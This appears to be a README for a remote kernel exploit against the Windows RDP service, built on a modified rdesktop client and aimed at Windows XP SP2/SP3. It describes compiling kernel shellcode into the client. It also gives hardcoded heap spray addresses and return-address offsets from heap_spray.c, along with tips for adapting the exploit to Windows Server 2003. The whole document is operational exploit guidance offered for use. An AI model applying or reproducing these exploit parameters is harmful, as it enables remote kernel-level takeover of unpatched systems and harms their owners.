
it works on xp (all version sp2 sp3)
ps:
shellcode/shellcode.asm is the kernel shellcode source code. After compilation and conversion to binary, it becomes the file rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b, which will be compiled directly into the program during make.
Currently only supports XP, requires XP memory >= 2G
To support 2003, you need to modify the HEAP_SPRAY_ADDRESS macro in heap_spray.c. After repeated testing, this address varies across different 2003 system versions and memory sizes. However, if testing on your own machine, it is possible to successfully exploit on 2003. Not universal.
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 // Need to debug the heap spray shellcode address yourself with windbg. If any friend finds a universal solution, please submit an issue
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
Testing 2003
